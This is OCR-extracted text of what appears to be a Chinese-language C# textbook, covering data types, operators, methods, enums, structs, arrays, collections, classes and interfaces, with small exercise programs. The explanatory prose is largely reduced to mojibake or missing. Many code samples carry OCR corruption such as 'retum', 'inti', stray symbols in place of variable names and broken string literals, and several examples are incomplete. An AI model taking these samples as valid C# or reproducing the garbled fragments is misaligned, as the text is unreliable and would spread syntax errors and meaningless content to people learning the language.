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bool enum internal ref uint
break event is return ulong
byte explicit lock sbyte unchecked
case extern long sealed unsafe
catch false namespace short ushort
char finally new sizeof using
checked fixed null stackalloc virtual
class float object static volatile
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2007 year
year=2007;
242 ¥2
const = R
public protected internal  private 2-2
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public
protected
public private
internal
private
sbyte byte short wushort int uint wulong char float double
decimal bool string (reference-type)

public const double x=1.0 y=2.0 z=3.0;
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int a=5;

Form myform=new Form( );

new Form( ) myform
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byte vall=12;
byte 8bit
byte val2=34U;
sbyte 8bit sbyte val=12;
short 16bit short val=-12;
ushort vall=12;
ushort 16bit
ushort val2=34U;
int 32bit int val=12;
long vall=12;
long 64bit
long val2=34L;
ulong vall=12;
ulong val2=34U;
ulong 64bit

ulong val3=56L;
ulong val4=78UL;
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float float val=1.23F;
double vall=1.23;
double
double val2=4.56D;
decimal 128 decimal val=1.23M;
3. FRFAR
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string Unicode string str="Mahesh”;
char Unicode char val=““h”7;
4. FIRAEH
true  false

bool a=true;
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object object

int x=250;
object objl;
objl =x;

object obj2='A";
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myclass

class myclass

{
public double namel;
public double getnamel( )

{

return this.namel;

}
}

3. LKA

IComparable Minivan Minivan
IComparable Minivan IComparable

interface IComparable

{

int CompareTo(object obj);

}

public class Minivan : [Comparable

{
public int CompareTo(object obj)

{

return 0;
}
}
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C# string

Rt S C ““abcefg””

string a = "abc";
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string b
string c;
c=a+b;
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efg";
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- x=-5
+ X=+5;
++ i++;
— -
+ X=x+5;
- X=x-5;
* X=Xx*5;
/ x=x/3;
% =x%3;
2. FHRCHEMTEFHERER
string con="abc"+"123"; //con “abc123”
s N— febe fobe s,
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true
false 2-7
#z 27 XREBEF
> i=3>4;//i false
< x=5<100;//x true
>= i>=i+1;//i false
<= i<=it1;//i true
== w=sa= =sa;//w true
= w=sal!=sa ; //w false
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2-8

*2-8 BEEEN

K ¥ R RER

C#

®2-9 CHhEEMHMAER NSER

! bool i=!true ; //i false
&& bool i=3>4&&5<100;//i false
i bool i=3>4115<100; //i true
5. #HEZEMFESFHRIER
1 2
®= & E a4 true s &
17~ false “ 277
6. IMEZEFERMERER
“+:,,“*:,’ “&:,,
x+=5 x+5
X X=x+5
26.2 EHNIRER
1. =HIRER
C# 2-9

+ - ++ -
* / %

i -

< > ) < ) >=( )
== ) = )

&&( )

= k=

/= Y%= 4= = <<=

= A=

>>=
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str

x*y+z x*y
ytz

2.7 InBEkit

E&R:
MERA:
EBE:
1 int string
2 C#
3
4
5
E 2%
1 int a b ¢
2 int max
3 string str
4
str int

(9]
[
on

max ¢
max
01  using System;
02  class Project2
03 {
04 static void Main()
05 {
06 int a, b, c;
07 int max;
08 string str;
09 Console. Write(" ")
10 str = Console.ReadLine();
11 a = Int32.Parse(str);
12 Console. Write(" "),
13 str = Console.ReadLine();
14 b = Int32.Parse(str);
15 Console. Write(" ")
16 str = Console.ReadLine();
17 ¢ = Int32.Parse(str);

18 max=(a>b)?a:b;

X*(y+z)

max

max



e

2% TE. BMEAREREX

19 max = (max >¢) ? max : c;

20 Console. WriteLine(" {0}"  max);
21}

22}

2.8 ETISEBR

C# C#
C#

2.9 TS il StiE

>t
e

Total X A a else al -a 7star _a my$ myFriend
2 Total total

3
4 double Xy y 4.6
5 i j k
inti=1 j=2;
int k=i++ + ++j;
6
using System;
class A
{
static void Main()
{
int i=1;
int j=2;
int k=3;
bool b=-i>1&&j++<2&&k--<3;
b=++i>1||j--<2&&--k>3;
b=++i>1]j--<2&--k>3;
Console. WriteLine("i="+1);
Console. WriteLine("j="+j);
Console. WriteLine("k="+k);
H
5
7
class A
{

static void Main()

{
inta=8, b=2;
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CENITER G

inti=(a<b)?a:(b>0)?b:a;
Console.WriteLine(i);

byte b=150;
short s=40000;

using System;
class Error

{

static void Main()

{

uint ui = 2000;
inti= 100,
intik =ui + i;
uint uik = 1;
long lo = 100;
ulong ul = 1000;

Console.WriteLine(lo + ul);

}
}
10
Fillses
[3¢56 1] RADEMIE KRR
[ Bm]
1 double
2
3
4 C#
[LEAR]
20 2 48 3.6
1 double length  width
20  width 50
2 double area
1
3 double perimeter
2 1

50

length

length  width

length

width
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52% TE.RERARER

4 1
5 2 length  width
6 2 area  perimeter
7 2
[3¢ha 2] FhiR RS PEE

r—~
pas
&
m
HF
—

1 int bool string
2 C#
3
4
5
6
7
[ZLEAR]

100 400
1 int year
2 bool isLeap
3 string str
4
5 str
6 str int year
7 year

isLeap
isLeap  true str < 7

O o0
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FEFIER
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B F3E Main 7 %,

3.1 EHAT3E

3.1.1 IR ANEAIET

C#

1

s & Add a4
Xy
static int Add(int x inty)

{
"

}

3.1.2 return iif)

return

int return

int

void

void

int

int

return
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static int Add(int x inty)
{
return x*y;
H
- \)
3.2 AHFE
C#
Add int int
Add(2,5);
3.21 ref XiE¥
10
01. static void swap(int i) / swap
02. {
03. it+;
04. )
05. static void Main(string[] args)
06. {
07. int j=10; /N
08. swap(j); /
09. Console. WriteLine(j); / j
10. }
ref
swap(j)
1 static void swap(int 1) static void swap(ref int 1) 11
3.2.2 Bl out 2
out ref ref
out ref  out
01. static void swap(out int 1) I swap
02. {
03. i=10;
04. }
05. static void Main(string|[] args)
06. {
07. int j; N
08. swap(out j); / out
09. Console. WriteLine(j); / j

10. }

swap(ref
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10

out ref

3.3 1=HIEMID

01. static int Add(int x,int y) // Xy
02. {
03. return x*y; /1
04. }
05. static void Main(string[] args)
06. {
07. int  x=2; /! X
08. int y=5; /1 y
09. Console. WriteLine("x*y={0}",Add(x,y)); 1/ Add
10. Console.ReadKey();
11. )
static int Add(int x,int y) static int Add(x,y)
return x*y Xy Main()

Main()

3.4 TIEHIES

C#

01. static int Add(int x, int y)

02. {

03. return X * y;

04. }

05. static double Add(double x, double y)

06. {

07. return X * y;

08. }

09. static void Main(string[] args)

10. {

11. Console.WriteLine("2*5={0}", Add(2, 5)); /
12. Console.WriteLine("2.8*5.7={0}", Add(2.8, 5.7)); /l
13. Console.ReadKey();

14. )



3.5 INBELik

B &R
MERA:
Main()
InEBr:
1
2
3
4
5
B LR
1 GreatestCommonDivisor
01. static int GreatestCommonDivisor(int a, int b) //
02. {
03. int temp;
04. if (a<b)
05. {
06. temp = a;
07. a=b;
08. b = temp;
09. }
10. while (b !=0)
11. {
12. temp =a % b;
13. a=b;
14. b = temp;
15. }
16. return a;
17. }
2 LeastCommonMultiple
CommonDivisor
01. static int LeastCommonMultiple(int a, int b) //
02.
03. int ¢ = GreatestCommonDivisor(a, b);
04. return (a * b/ c);
05. }
3 Main() Main()
Divisor Main()

Greatest

GreatestCommon
LeastCommonMultiple



01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.

CENITER G

//Project3 1.cs
using System;
class Project3_1

{

static void Main()

{

}

{

}

int a, b;
Console.WriteLine(" V& §i N\ 55 — /N IE 440",
a = Int32.Parse(Console.ReadLine());
Console.WriteLine("15 §ii N 58 /N IEHE™);
b = Int32.Parse(Console.ReadLine());

Console.WriteLine(" {0} 5 {1} i K AZLIHE (2}, a, b, GreatestCommonDivisor(a, b));
Console. WriteLine(" {0} 5 {1} s/ N A5 {2}, a, b, LeastCommonMultiple(a, b));

static int GreatestCommonDivisor(int a, int b)

int temp;
if (a<b)
{
temp = a;
a=b;
b = temp;
}
while (b !=0)
{
temp =a % b;
a=b;
b = temp;
}

return a;

static int LeastCommonMultiple(int a, int b)

{

int ¢ = GreatestCommonDivisor(a, b);
return (a * b/ c);

3.6 EIJISEMm

C#

3.7 FIiE5 il Stic

cube

IR AHBRE SR B KA 205K

B S UNY/N
C#
Main
double double



2
Main

3
01. //TestSwap.cs
02. using System;
03. class TestSwap
04. {
05. static void Main()
06. {
07. inti=2,j=>5;
08. Console.WriteLine("Main /5721, Fl /7% Swap(int i,int j)i: ");
09. Console.WriteLine(" i={0}\tj={1}", 1, j);
10. Swap(i, j);
11. Console.WriteLine("Main 75 %, 1 777% Swap(int iint j)J5: ");
12. Console.WriteLine("i={0}\tj={1}", 1, j);
13. }
14. static void Swap(int i, int j)
15. {
16. int temp;
17. Console.WriteLine("Swap v+, 28 & 1 F j BB AZ 0w ");
18. Console.WriteLine("i={0}\tj={1}", i, j);
19. temp = i;
20. i=j;
21. j = temp;
22. Console. WriteLine("Swap 52,28 & 1 1 j EASHG: ");
23. Console.WriteLine("i={0}\tj={1}", i, j);
24. }
25, }

4

Circle
Filsess

[3¢5 1] SB="MESHIFFRARMb LA

[ EK]
Main
| @SMUA=T:0) |
1
2

W



4
5
[LERE]
Sort
2 Main
3 Main Sort
4 Main
[SChw 2] K BOfA
(ESMITEES |
n' n 0
EITET0)
1
2 ¥ 3 7 (¥ 9 7y
3
[SLERE]
1 fac n
2 Main n
3 Main fac
4 Main

CENITER G
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4.1 INmESTRERSTH

1. BIt{EER

Num=100; // 100 Num
textl.Text=myName; /1 myName textl Text

2. EEMEER

x/=10 ““x/107~ X
3. EEMEIER

x=y=10;
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4.2 HwlIlifilimd

Visual Studio 2005

Console Read ReadLine Write  WriteLine
1. WIANFE
Console Read ReadLine
Read ReadLine Read
ReadLine
char ¢ =(char)Console.Read(); //
string s =Console.ReadLine(); /
2. WiEHEE
Console Write WriteLine

Write WriteLine

Console. Write(" ");
Console.WriteLine " 0 % ",cost

b

4.3 SELEMRERST

C if-else switch-case

1. if-else &)
if-else

if( )

else

true( ) 1 false( )
2

2. switch-case i&f]

if-else switch-case
case
switch ( )
case 1:
1;
break;
case 2:



% 4% AR

break;
default:
N;
break;
switch
1
2 case
3 case
default switch

4.4 {BInGSwREERIRT

C for
while
1. for & IMER)
for
for 1; 2; 3
1
3
2. while fEIFiE4]
for while
while
while
1
2
3 while
3. do-while {EIFiEH]
do-while while
while do-while
do-while
do

while

default

while do-
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do-while
1
2
3
do-while

4.5 FERED]

return
1. goto i&A]
C goto

goto

goto ;

2. break i&f]

break break
switch

break;
3. continue i&f]

continue for

continue;

4. return iEf]

return

void return

4.6 INEEkiE

mBE—

B &R

HERE: if
BB

1 if

for

while

1
goto break continue
goto
while do-while
do-while
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if
a b ¢
t a b c
a b c
a b ¢ c
a b ¢

using System;
class Project4 1

2
B E:
1 int
2 int
3
4 if
5
0l.
02.
03. {
04.
0s.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24,
mEZ=
B &R:
MENAE:
B E:
1
2
3
4
5
mMBXE
1 int

{

static void Main()

inta, b, c,t;
Console. Write("i#& i N 58 — N 8EH:");
a = Int32.Parse(Console.ReadLine());
Console. Write("1& 5 N\ 58 ~/MEHL:");
b = Int32.Parse(Console.ReadLine());
Console. Write("1EHi \ 55 = M4,
¢ = Int32.Parse(Console.ReadLine());
t=a; JITRATIAEL
if (a>Db)
{t=a,a=b;b=t; }
if (b>c)
{t=c;c=b;}
if (t>a)

b=t;
else
{b=aja=t;}
Console. WriteLine(" I\ /N KA A {0},{1},{21", a, b, ¢);

while
do-while

switch-case

break

FirstNumber  SeccondNumber
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2 string Operation
3 string Response
4 do-white switch-case
5 do-while
do-while

01. using System,;
02. class Test4 2

03.

04. static void Main()

05.

06. int FirstNumber, SecondNumber; /ERESL

07. string Operation; BT

08. string Response; Voot Se )

09. do

10. {

11. Console. Write("IHHINIZFLTF(+. -+ *. )");

12. Operation = Console.ReadLine();

13. Console. Write("TEHI NS — MEIEEL");

14. FirstNumber = Int32.Parse(Console.ReadLine());

15. Console. Write("###i \ 28— MRIEH");

16. SecondNumber = Int32.Parse(Console.ReadLine());

17. switch (Operation)

18. {

19. case "+":

20. Console.WriteLine("{0}+{1}={2}", FirstNumber, SecondNumber, FirstNumber

+ SecondNumber);

21. break;

22. case "-":

23. Console.WriteLine("{0}-{1}={2}", FirstNumber, SecondNumber, FirstNumber -
SecondNumber);

24. break;

25. case "*":

26. Console.WriteLine("{0}*{1}={2}",  FirstNumber, SecondNumber,
FirstNumber * SecondNumber);

27. break;

28. case "/":

29. Console.WriteLine("{0}/{1}={2}", FirstNumber, SecondNumber,
FirstNumber / SecondNumber);

30. break;

31. default:

32. Console.WriteLine("iz BF AN &)

33. break;

34. }

35. Console. Write(" 4872 & 5 4k L4712 HL(Y/N):");

36. Response = Console.ReadLine();

37. while ((Response !="Y") && (Response !="N") && (Response !="N"))

38. {

39. Console. Write("¥i N5 12!");

40- Console. Write("f& 75 4k S 1718 BL(Y/N):");



0

41.
42

43

44.

45, }
46. )

% 4% MR sL

Response = Console.ReadLine();

}

}
while ((Response =="Y") || (Response =="y"));

47 BTFIS1RM|

C
if-else
4.8 Tl
1
int i=1;
double x=2.0;
if(i=1) x++;
if(i) x++;
2 if-else
100
3 switch if <
100 *~ 4-1
F4-1 B
0= =100
80= <90
70= <80
60= <70
0= <60
4
5 while do-while for 1 100 9



while

break
goto

100

do-while

1 100
break

CENITER G

for
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51 iIXE

51.1 EXINE

enum
cnum
{
1
2
3
N
5
““Season” Spring Summer Fall Winter

enum Season {Spring Summer Fall Winter}

Spring 0 Summer 1 Fall 2 Winter 3

Spring 1 Summer 2 Fall 3 Winter 4
enum Season {Spring=1 Summer=2 Fall=3 Winter=4}
int

byte sbyte
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short ushort int wuint long ulong
short

enum Season short {Spring Summer Fall Winter}

51.2 {bHIilXE

first
Season first; /!
Season first Spring
Season first= Season. Spring; I first
5.2 f5fi
521 TEX%iH
struct
struct
{
< > ;
}
““Time”~ public int
seconds
struct Time
{
public int hours, minutes,seconds;
}

public

struct Time
{
public Time (int hh, int mm,int ss)
{
hours = hh % 24; //
minutes = mm %60; //

Spring

public

hours

minutes

private



%5 é_
seconds = ss %60; //
}
public int Hours ()
{
return hours;
}
private int hours ,minutes , seconds;
h
5.2.2 [bH%5iA
Time
Time T;

Time T=new Time(15,5,14);

Time
T. hours=12;
T. minutes=6;
T.seconds=15;
——
5.3 InBEstik
ImE—
B &R Week
DERE: Week
IEHEAY:
1
2
T E 5
01 using System;
02 using System.Collections.Generic;
03 using System.Text;
04 namespace 1
05 {




2B 42

06 enum Week { Monday, Tuesday, Wednesday, Thursday, Friday, Saturday, Sunday }
07 class Program
08 {
09 static void Main(string[] args)
10 {
11 /l Week first
12 Week first = Week.Monday;
13 byte firstChar;
14 firstChar = (byte)first; //
15 Console.WriteLine(firstChar); //  first
16 Console. WriteLine(first); /I first
17 }
18 }
19 }

mE=

I B & #R:

MERARE: ““Round”” “cr””

Round
IEHEAY:
1
2

HE SR
01 using System;
02 using System.Collections.Generic;
03 using System.Text;
04 namespace 2
05 {
06 struct Round /
07 {
08 public double 1; /
09 public Round(double x) //
10 {
11 r=x;
12 }
13 public double Area() //
14 {
15 return Math.PI * r * 1,
16 }
17 }
18 class Program
19 {
20 static void Main(string[] args)
21 {
22 Round S1; // S1
23 Slr=3; /I
24 /l
25 Console.WriteLine(" {0}", S1.Area());

CENITER G

1

double
Area
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% 5% MR
26 Round S2; // S2
27 S2r=9; /!
28 /!
29 Console.WriteLine(" {0}", S2.Area());
30 Round S3; // S3
31 S3.r=18; //
32 /l
33 Console.WriteLine(" {0}", S3.Area());
34 }
35 }
36 }
54 BIISERm
C# C#

5.5 FIiES il StiE

>t

1 enum weekdays{Sun,Mon,Tue,Wed, Thu,Fri,Sat};
Sun Mon Tue

2 3 4 5 6

enum weekdays{Sun=7,Mon=1,Tue,Wed, Thu,Fri,Sat};

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17

Sun Mon Tue

using System;

using System.Collections.Generic;
using System.Text;

namespace __ 2

{

Wed Thu Fri Sat

Wed Thu Fri Sat

enum weekdays { Sun =7, Mon = 1, Tue, Wed, Thu, Fri, Sat };
class Program

{

static void Main(string[] args)

{

weekdays someday = weekdays.Mon;

Console. WriteLine(someday);

someday = weekdays.Thu;

Console. WriteLine(someday);
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[3x5e]  RABIEBIEK MR

[ B8]
1
2
3 C#

[ZLEAR]

20 2 48 3.6
1 ““Rectangle””
Rectangle

3 Area

CENITER G

““length”” ““width~~

50

double
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6.1 &ZH

1. FERR¥A

< > [] < >

int [] arr

C# 0 1
2

2. HBVIRK

int [] sdArray={1,2,3,4,5,6};
new
int

int [] sdArray=new int[6];

int [] sdArray=new int[6] {1,2,3,4,5,6};
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3. ImEl—MRMEEATR

sdArray int
int 1
i=sdArray|[2];
4, foreach {EIf
foreach

int [ ] sdArray={1,2,3,4,5,6};
foreach (int 1 in sdArray)

{

Console.WriteLine(i) ;

}
5. ER%E

int x=3;
int [ JA=new int[3] {1,2,3};
Alll=x; /

6. HHEHA
C#

int[,] A=new int[2,2]; //

int [,] mdArray=new int[2,2] {{1,1} ,{2,2}};

Console. Write("{0}", mdArray[1, 0]); / 2

7. BATESIER

B &R:
MEAR: m n

EBH:
1

2
3
4



MBLE:

1 Transpose

static double[,] Transpose(double[,] matrix)
{
int m = matrix.GetLength(0);
int n = matrix.GetLength(1);
double[,] transMatrix = new double[n, m];
for (int i =0; i <m; i++)
{
for (int j = 0; j <n; j++)
{
transMatrix[j, i] = matrix[i, j];
}
}

return transMatrix;

2 Main Transpose

using System;
class Project6 1

{

static void Main()
{
double[,] matrix ={ {1, 1.2, 1.8 }, {2,4,4.6 } };
int m = matrix.GetLength(0);
int n = matrix.GetLength(1);
Console. WriteLine(" JR 4 [");
for (inti=0; i <m; i++)
{
for (intj = 0; j <n; j++)
{
Console. Write("\t\t{0}", matrix[i, j]);
}
Console.WriteLine();
}
double[,] transMatrix = Transpose(matrix);
m = transMatrix.GetLength(0);
n = transMatrix.GetLength(1);
Console. WriteLine("#% & 4 [%");
for (int i = 0; i <m; i++)
{
for (intj = 0; j <n; j++)
{
Console.Write("\t\t{0}", matrix[j, i]);
}

Console.WriteLine();




2. ArraylList 3¢

ArrayList
1
ArrayList
2 ArrayList

ArrayList

CENITER G

object
Array System.Collections ArrayList

6-1
%= 6-1 ArrayList XHERBEM

Capacity

ArrayList

Count

ArrayList

IsFixedSize

ArrayList

IsReadOnly

ArrayList

IsSynchronized

ArrayList

Item

SyncRoot

ArrayList

C#  ArrayList
ArrayList

C# ArrayList
ArrayList
ArrayList

3. Queue %

Queue

Queue
1 Enqueue

2 Dequeue Queue

3 Peck Queue

Add Insert Add
Insert ArrayList ArrayList

Clear

Remove ArrayList

RemoveAt ArrayList

ICollection

Queue

Queue




4. Stack %
Stack LIFO
Stack
1 Push Stack
2 Pop Stack
3 Peek Stack Stack
5. Hashtable 3£
Hashtable “ i key / value
object
Hashtable
6. SortedList 3£
SortedList Hashtable
SortedList key
7. EAMB XK
SR
HEASA: 85 90 70
Queue Hashtable
90 70
I E EH#Y:
1
2
3
4 ArrayList Queue Hashtable
MR PR:
1
01. struct Student //
02. {
03. public string Name;
04. public int Score;
05. }
2 ArrayList
01. static void Main(string[] args)
02. {
03. ArrayList myArrayList = new ArrayList(10); / ArrayList
04. Student Stul;
0s. Stul Name =" "
06. Stul.Score = 85;
07. myArrayList. Add(Stul); /I myArrayList

SortedList

ArrayList
85
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08. Stul Name =" "
09. Stul.Score = 90;
10. myArrayList. Add(Stul); /I myArrayList
11. Stul Name =" "
12. Stul.Score = 70;
13. myArrayList. Add(Stul); /I myArrayList
14. / for myArrayList
15. for (int j = 0; j < myArrayList.Count; j++)
16. {
17. Stul = (Student)myArrayList[j]; /1
18. // myArrayList
19. Console.WriteLine("{0}:{1}", Stul.Name, Stul.Score);
20. }
21. Console.ReadKey();
22. }
Queue
01. static void Main(string[] args)
02. {
03. Student Stul;
04. Queue myQueue = new Queue(); / Queue
05. Stul.Name =" "
06. Stul.Score = 85;
07. myQueue.Enqueue(Stul); /' Queue
08. Stul.Name =" "
09. Stul.Score = 90;
10. myQueue.Enqueue(Stul); /' Queue
11. Stul.Name =" "
12. Stul.Score = 70;
13. myQueue.Enqueue(Stul); /I Queue
14. foreach (Student TempStu in myQueue) //
15. {
16. Console.WriteLine("{0}:{1}", TempStu.Name, TempStu.Score);
17. }
18. }
Hashtable
01. static void Main(string[] args)
02. {
03. Hashtable grade = new Hashtable(); / Hashtable
04. 1 Hashtable
05. grade[" "1=285;
06. grade[" "1=90;
07. grade[" "1="170;
08. / DictionaryEntry /
09. foreach (DictionaryEntry element in grade)
10. {
11. string name = (string)element.Key;  // key
12. int grades = (int)element. Value; /1 value
13. // key  value
14. Console.WriteLine("{0},{1}", name, grades);
15. }

16. Console.ReadKey();



$o% Hahge
17. }
8. HMUAFEEHIXA
1 object
/
ReadOnly
6.3 EJISIEm
ArrayList Queue Stack Hashtable
C#
6.4 Tlik
1 C
2 int 2 10 8 4 12 20 14
3 Circle radius
Circle radius 2 10 8 4 12 Array.Sort
4
5
6 A 3 4 B 4 3
C 3 3
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7.1 ZFiklX1=R

C# cc EE] cc EE] .NET

C# C# class

new abstract sealed public protected
internal ~ private

Rectangle Area
XYy

class Rectangle
{

double Area () //

{

return 3.14*x*y;

}

double x; /! X

double y; I y
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7.1.2 iIRERYS

1. FEAXR

Rectangle S;
S=new Rectangle( ); /S

new Rectangle Rectangle

2. JFEITR

S.x=5;

7.2 HMOES

C# public protected internal  private
public

public
private

protected public

private

internal

7.3 [EE

7.3.1 EXJBM

public private
get set

AccessModifier Type PropertyName

{
get

{
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1

I

AccessModifier

set

Student

class Student

{
private string id;
private string name;
public  string ID

{

get

{

return  id;

}

set

{

id=value;
}
}

public string  Name

{

get

{

return name;

name=value;

}
7.3.2 (PMIBEN

Student so=new Student( );

set

/

!
/
/

/

I

Type PropertyName
get set get
get
private

Student

id

name
ID
Name

SO
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//
so.ID= ““20070101~7;
so.Name="““ 77

74 T3i&

static
class MyClass
{
public static string  GetString( )
{
return “Here is a  string.”;
}
}
= o
7.5 TS
new
7.5.1 HHIRIRISME
0
Rectangle Rectangle()
class Rectangle
{
public Rectangle () /I
{
x=0.0; /! X
y=0.0; /I
H
public double Area ()
{
return 3.14 *x*y;  //
H
private double x; /!
private double y; /l y

void
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private
private Rectangle new
Rectangle
7.5.2 HRViRISME
X y 0
Rectangle 0 Rectangle
X y
class Rectangle
{
public  Rectangle () /I
{
x=0.0; /! X
y=0.0; /"
}
public Rectangle (double dx, double dy) /
{
x=dx;
y=dy;
}
public double Area ()
{
return 3.14 *x*y; /I
}
private double x; /I X
private double y; /I y
b
'
7.6 HANIEREY
C#
NET Framework NET Framework

class MyClass

{
~MyClass() { }

}

~MyClass()
NET Framework
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7.7 BEMNR
C# static
static

7.8 Visual Studio .NET I#i] OOP TH

Visual Studio 2005

1. 7E Visual Studio 2005 /61

1 (X3 Y

2 (X3 Y (X3 Y ¥ >
““Myclass. cs”” .cs “c i “c

3

using System;

using System.Collections.Generic;
using System.Text;

namespace WindowsApplicationl

{
class MyClass
{
}

}

2. NI S

sk

3. “HME" WO
“ 77 Visual Studio .NET
- - Ctrl+Shift+C “
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7.9 ERHEIEEREIEME

Visual Studio 2005

1. Convert 2£
Convert

bool xBool=false;
int i=Convert.ToInt32(xBool);

i 0
2. string 2
Unicode string
System.Char string
string “c i string
string
System. Text.StringBuilder
string string
string S="hello";
string string string
string
1 Compare CompareOrdinal CompareTo Equals EndsWith StartsWith
2 IndexOf IndexOfAny LastIndexOf LastIndexOfAny
Unicode
3 Copy CopyTo Char
4 Substring  Split
Concat  Join
5 Insert Replace Remove PadLeft PadRight Trim TrimEnd TrimStart
6 ToLower ToLowerlnvariant ToUpper ToUpperlnvariant
Unicode
7 Format
8 Length Char Chars
Char
9 IsNormalized Normalize

Compare
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string.Compare(string  strA, string strB)

StrA string strB string
7-1
& 7-1 Compare J3&RER =ML R

0 StrA

strB

0 StrA

strB

0 StrA

strB

3. Math %

Math System
7-2

F 7-2 Math XMEREBSHE

Abs

Acos

Asin

Atan

Exp

Floor

Log

Logl0 10

Max

Min

Pow

Round

Sign

Sin

Sqrt

Tan

4. DateTime 2£#0 TimeSpan 3¢

DateTime
0001 1 1 12:00:00 9999 12

DateTime 7-3

31

11:59:59
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%= 7-3 DateTime ZXWWEBAREM

Date

Day

Hour

Millisecond

Minute

Month

Now DateTime

Second

Ticks

Today

Year

TimeSpan

7.10 INBELit

B &R:
mMENAE:
B E:
1
2
3
4
5
6
7 this
mMB 5
1 Book Book isbn
price
2 Book
3 Book
0 ¥ 9
Book Show Show
5 Main Book Main

title

isbn

author

isbn

Book

press
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01. using System;
02.  class Book

03. {

04. private readonly string isbn; /
05. public string title; //
06. public string author; /
07. private string press; /l
08. public int price; /
09. public Book(string isbn) : this(isbn, " " " " 0){}
10. public Book(string isbn, string title, string author, string press, int price)
11. {

12. this.isbn = isbn;

13. this.title = title;

14. this.author = author;

15. this.press = press;

16. this.price = price;

17. }

18. public string ISBN /
19. {

20. get

21. { return title; }

22. set

23. { title = value; }

24. }

25. public string Author

26. {

27. get

28. { return author; }

29. set

30. { author = value; }

31 }

32. public string Press

33. {

34. get

35. { return press; }

36. set

37. { press = value; }

38. }

39. public void Show()

40. {

41. Console.WriteLine(" {0}", isbn);
42. Console.WriteLine(" {0}", title);
43. Console.WriteLine(" {0}", author);
44, Console.WriteLine(" {0}", press);
45, Console.WriteLine(" {0}", price);
46. }

47. 1}

48.  class Project7 1

49.

50. static void Main()

51. {

52. Book book1 = new Book("978-7-111-23423-4");

53. book1.Show();
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Visual Studio.NET

54. Console.WriteLine();
55. bookl title = "C# (C#2.0 )"
56. book1.author =" "
57. book1.Press =" "
58. bookl.price = 32;
59. book1.Show();
60. Console.WriteLine();
61. book1 =new Book("978-7-111-17471-4", "Java
62. book1.Show();
63. }
64. }
7-1
INNT' system32h cmd.exe
—-111-23423-4
7-1
ifi— E_
711 BIISIER
C#
B
712 FI1E@

1

2

3

4
01. class A
02. {
03. int i;
04. public void Method()
05. {
06. ;
07. ai=2;
08. }

09.

el

non

non

oop

", 29);



01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
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class A

{

static int 1= 1;
readonly int j = 2;
const int k = 3;
public A()
{
=4
}
public void method()
{
i=10;
J=20;
k =30;
A a=new A();
a.i=10;
a.j=20;
a.k=30;

class A
{ public int I;}
class B

{

static void Main()

{

A al =new A(); A a2 =new A(); al.I=1;a2I1=1;
System.Console.WriteLine(al == a2);

al =a2;all=5;

System.Console. WriteLine("a2.1="+a2.]);
System.Console.WriteLine(al!=a2);

class A
{ public int I;}
class B

{

static void Main()
{
int j = 10;
A a=new A();
al=1;
intk =0;
while (k++ < 10)
g(a, j);
System.Console. WriteLine("j=" + j);
System.Console. WriteLine("a.I="+ a.I);



10
11

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.

static void g(A a, int j)
{

al+=j;

=z

class A

{

}

inti;
public A(int j)
{

i=j;

}

class B

{
H

A a=new A();

class A

{

private int i;
private int j;
public A(int i, int j)

public void Method()
{
intk=2;
if (i<j)
{
int k =20;
int m=10;
it+;

else

int m = 40;
it

m++;

CENITER G
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8.1.1 Hit

8.1.2 Hkmk

OOP
OOP cc 3

C#

1. fra2 4%
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2. {ER4%

C# ¥ 3 >
class

C#

C# sealed

sealed class MyClass

{
MyClass( )

{

}

}
class MyNewClass ~ MyClass

{
}

MyClass
virtual

sealed

interface virtual override sealed
1 interface
2 virtual
3 override
4 sealed
sealed

[ ] sealed class

““sealed override””

virtual
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2. EFE
CH

override

name

public class subject

public string name( )

{
public string name( )
{
return “
}
}
public class student
{
{
return “
}
H

public new

{
}

new

3. virtual #0 override %=

public virtual

{
}

5 8 F

new

!

!

!

/

virtual

& & &t F AL
override
abstract  virtual
subject
subject
name
student
name
new

override

student

virtual



2B _es

public override

{
}
virtual  override
1 virtual
2
3
8.2 1O
C#
1. FER#EO
public
C#
interface
{
//
}
interface Ishape
{
double GetArea();
}
2. EOBRS!

CENITER G

override

public

virtual

interface

static

override

interface

class struct

private protected

public
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4 enum struct class

3. ILIEO

shape
““GetArea”” shape
Ishape

interface Ishape

{
double GetArea( );

H
Ishape

class shape : Ishape

{
double Ishape.GetArea()

{
}

public
4. ERZANMEO

public class rectangle : Ishapel, Ishape2, Ishape3

8.3 InBEsti

B &R:
MEAR:

60 8o

public
interface delegate

double
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I E EH#Y:
1
2
3
4
5
6
7 base
8
MEPER
1 Shape Shape Color
Darw Erase Move Color
CColor
NET Color
using System;
enum CColor /1
{ BLACK, BLUE, BROWN, CYAN, GREEN, ORANG, PINK, RED, WHITE, YELLOW }
interface Shape /1
{
CColor Color { get; set;}
void Draw(); void Erase(); void Move();
}
2 Point Shape Point Shape
int Xy Point
ToString
struct Point : Shape /
{
private CColor color;
private int X, y; /I
public CColor Color
{ get { return color; } set { color = value; } }
public int X
{ get { return x; } set { x =value; } }
public int Y

{ get { return y; } set { y = value; } }
public Point(int x, int y)
{

this.x =x;

this.y =vy;

this.color = CColor.RED;
H
public void Draw()
{ Console.WriteLine(" "); }
public void Erase()
{ Console.WriteLine(" "); }
public void Move()
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{ Console.WriteLine(" "); }
public override String ToString()
{ retum IV(H + X + H’H + y + ll)ll; }

}
Line Shape Line Shape
Point Pointl Point2
Line ToString

class Line : Shape /1
{

private CColor color;

private Point pointl, point2; /

public CColor Color

{ get { return color; } set { color = value; } }

public Point Point2

{ get { return point2; } set { point2 = value; } }

public Line() { }

public Line(Point p1, Point p2)

{ pointl = p1; point2 = p2; }

public void Draw()

{ Console.WriteLine(" "); }

public void Erase()

{ Console.WriteLine(" "); }

public void Move()

{ Console.WriteLine(" "); }

public override String ToString()

